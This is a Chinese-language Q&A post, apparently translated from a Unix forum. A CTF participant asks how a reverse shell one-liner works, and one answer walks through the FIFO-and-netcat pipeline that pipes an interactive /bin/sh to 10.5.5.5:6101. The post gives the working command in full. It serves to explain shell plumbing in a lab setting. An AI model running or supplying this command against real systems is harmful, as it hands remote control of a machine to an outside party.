在平台上进行 CTF 挑战时,我需要一个反向 shell,但无法正常工作,因此我查看了流程并找到了一个反向 shell 代码:
rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/sh -i 2>&1|nc 10.5.5.5 6101 >/tmp/m
这实际上有效,但我实际上无法理解管道是如何工作的,它将数据发送到哪里等等。有人可以解释一下吗?
答案1
这会在系统上设置一个远程控制的 shell。输入和输出如下:
cat /tmp/m
从 FIFO 读取/tmp/m
并将其写入...|/bin/sh -i 2>&1
它执行它读取的命令并将其输出(标准输出和标准错误)发送到...|nc 10.5.5.5 6101
它连接到 10.5.5.5:6101 并写入>/tmp/m
先进先出。
因此,远程系统可以提供命令,这些命令通过 传输nc
、写入 FIFO、由 读取cat
、由 解释sh
,并且这些命令的输出通过 发送回远程系统nc
。